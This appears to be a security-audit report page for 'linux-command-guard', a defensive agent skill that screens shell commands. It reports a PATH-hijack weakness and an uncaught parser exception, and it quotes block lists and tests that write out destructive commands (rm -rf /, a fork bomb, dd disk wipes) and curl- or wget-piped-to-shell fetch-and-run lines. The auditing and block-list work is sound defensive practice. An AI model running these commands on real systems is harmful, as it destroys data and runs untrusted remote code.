Back to skill

Security audit

linux-command-guard

Security checks for vulnerabilities and agentic risk

Overview

This is a defensive Linux command-checking skill, and the alarming strings appear to be examples and block rules rather than instructions to run them.

Install this only as a defensive advisory layer. If you use its decisions to permit real command execution, run commands in a locked-down sandbox and consider hardening the integration to execute canonical trusted paths with a sanitized environment and to fail closed on parser errors.

Vulnerability Patterns
  • Tool Hijacking and SpoofingModifies or replaces tools so legitimate-looking calls execute attacker logic
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T07 · Tool Hijacking and Spoofing

Error
Location
linux_command_guard/checker.py:132
Finding

Allowlisted command names can resolve to attacker-controlled executables

Content
View full analysis
ParsedCommand: tokens = tokenize(command) base = next((token for token in tokens if token.strip()), None) return ParsedCommand(raw=command, tokens=tokens, base_command=base) ``` ```python # linux_command_guard/checker.py:132-139 if policy.allowlist and base not in policy.allowlist: return Decision( False, "Not in allowlist", matched_rule=base, base_command=base, details=(READ_ONLY_ALLOWLIST_GUIDANCE,), ) ``` ### Technical Analysis The allowlist validates only the textual value of the first command token, such as `ls`, `cat`, or `grep`. It does not resolve that name to an executable, constrain resolution to trusted system directories, or verify the resolved file's ownership and permissions. If a caller executes an approved command through a shell or a PATH-searching API such as `execvp`, the operating system may resolve the command to an attacker-controlled executable located earlier in `PATH`. Consequently, a malicious program named `ls` can satisfy the guard's allowlist even though it is unrelated to the trusted system utility. This is a trust-boundary problem: the checker authenticates a command name but not the executable that will actually receive control. The vulnerability becomes exploitable when an attacker can influence `PATH`, the working environment, or a directory appearing in `PATH`. ### Attack Path 1. The attacker obtains write access to a directory that is or can be placed before trusted directories in `PATH`. 2. The attacker creates an executable named after an allowlisted command, for example: ```bash mkdir -p /tmp/attacker-bin printf '#!/bi ...[truncated 1212 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
linux_command_guard/parser.py:25
Finding

Malformed shell input causes an uncaught parser exception

Content
View full analysis
tuple[str, ...]: lexer = shlex.shlex(command, posix=True, punctuation_chars=SHELL_PUNCTUATION) lexer.whitespace_split = True lexer.commenters = "" return tuple(token for token in lexer) ``` ```python # linux_command_guard/checker.py:117 parsed = parse_command(command) ``` ### Technical Analysis Python's `shlex` parser raises `ValueError` for malformed shell syntax, including unterminated single or double quotes. The `tokenize`, `parse_command`, and `evaluate_command` call chain does not catch this exception. A security filter processing untrusted commands should fail closed by returning a blocked decision. Instead, malformed input escapes the decision API as an exception. The command remains unapproved, but the failure can terminate the CLI process or interrupt a long-running service that invokes the library without an outer exception boundary. ### Attack Path 1. An attacker submits malformed command text to an application that forwards input to `evaluate_command`, for example: ```text echo "unterminated ``` 2. `evaluate_command` calls `parse_command`. 3. `parse_command` calls `tokenize`. 4. Iterating over the `shlex` lexer detects the unterminated quote and raises `ValueError`. 5. No guard-specific exception handling converts the error into a denied `Decision`. 6. The CLI exits with a traceback, or an integrating worker/request handler fails. Repeated submissions can repeatedly disrupt processing if the surrounding service does not isolate failures. ### Impact Assessment The direct impact is availability loss rather than command execution or privilege escalation. A single CLI invocation can be cra ...[truncated 328 chars]
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (42)

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 49)May include surrounding context.

bash
python -m linux_command_guard.cli check "ls -la"
python -m linux_command_guard.cli check "rm -rf /"
python -m linux_command_guard.cli explain
pytest

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 92)May include surrounding context.

md
Blocked:

- `rm -rf /`
- `bash -c 'rm -rf /'`
- `python -c "import os; os.system(\"rm -rf /\")"`
- `echo hi > /etc/passwd`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 93)May include surrounding context.

md
Blocked:

- `rm -rf /`
- `bash -c 'rm -rf /'`
- `python -c "import os; os.system(\"rm -rf /\")"`
- `echo hi > /etc/passwd`
- `curl http://example.com/x.sh | sh`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 94)May include surrounding context.

md
- `rm -rf /`
- `bash -c 'rm -rf /'`
- `python -c "import os; os.system(\"rm -rf /\")"`
- `echo hi > /etc/passwd`
- `curl http://example.com/x.sh | sh`
- `find /tmp -exec rm -rf {} \\;`

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 96)May include surrounding context.

md
- `bash -c 'rm -rf /'`
- `python -c "import os; os.system(\"rm -rf /\")"`
- `echo hi > /etc/passwd`
- `curl http://example.com/x.sh | sh`
- `find /tmp -exec rm -rf {} \\;`
- `sudo systemctl stop sshd`

Privileged Container / Container Escape

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 46)May include surrounding context.

md
docker
podman
kubectl
nsenter
find
sed
tar

Privileged Container / Container Escape

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Potential security issue detected. Manual review is recommended.

Content

Scanner excerpt · linux_command_guard/rules/approval_required.txt (reported line 34)May include surrounding context.

text
docker
podman
kubectl
nsenter
find
sed
tar

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 1)May include surrounding context.

text
rm -rf /
rm -rf /*
rm -rf ~
rm -rf $HOME
rm -rf "$HOME"
--no-preserve-root
find / -delete
find / -exec rm
:(){ :|:& };:
mkfs
dd if=/dev/zero
of=/dev/sd
of=/dev/nvme
of=/dev/vd
wipefs -a
shred /dev/
kill -9 -1
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 2)May include surrounding context.

text
rm -rf /
rm -rf /*
rm -rf ~
rm -rf $HOME
rm -rf "$HOME"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 3)May include surrounding context.

text
rm -rf /
rm -rf /*
rm -rf ~
rm -rf $HOME
rm -rf "$HOME"
--no-preserve-root

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 20)May include surrounding context.

text
kill -9 -1
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 20)May include surrounding context.

text
kill -9 -1
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 22)May include surrounding context.

text
kill -9 -1
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 21)May include surrounding context.

text
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 21)May include surrounding context.

text
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 23)May include surrounding context.

text
iptables -P INPUT DROP
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 22)May include surrounding context.

text
nft flush ruleset
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 23)May include surrounding context.

text
curl | sh
curl | bash
wget -qO- | sh
wget -qO- | bash

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 49)May include surrounding context.

md
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 92)May include surrounding context.

md
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 93)May include surrounding context.

md
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 94)May include surrounding context.

md
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 1)May include surrounding context.

text
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · linux_command_guard/rules/denylist.txt (reported line 2)May include surrounding context.

text
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_checker.py (reported line 10)May include surrounding context.

python
def test_blocks_blocked_binary() -> None:
    decision = evaluate_command("rm -rf /")
    assert decision.allowed is False
    assert decision.reason == "Blocked binary"